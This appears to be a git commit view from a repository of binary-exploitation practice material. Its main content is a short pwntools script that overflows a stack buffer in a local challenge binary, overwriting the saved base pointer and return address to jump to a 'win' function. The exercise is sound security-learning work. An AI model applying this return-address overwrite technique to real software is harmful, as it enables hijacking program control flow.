initial commit

This commit is contained in:
2025-12-04 09:57:17 +01:00
commit 0054cc02b1
4851 changed files with 4416257 additions and 0 deletions

View File

@@ -0,0 +1,2 @@
vmmap
vmmap

Binary file not shown.

View File

@@ -0,0 +1,19 @@
#!/usr/bin/env python3
from pwn import *
context.update(os="linux", arch="amd64", log_level="error")
context.binary = binary = ELF("./random", checksec=False )
r = process()
gdb.attach(r)
win_function_address = binary.symbols["win"]
payload = b"A" * 256 # offset to the RBP
payload += b"B" * 8 # overwrite the RBP
payload += p64(win_function_address) # address of the win function
r.recvuntil(b"Return to where? : \n")
r.sendline(payload)
r.recvuntil(b"ok, let's go!\n\n")
r.interactive()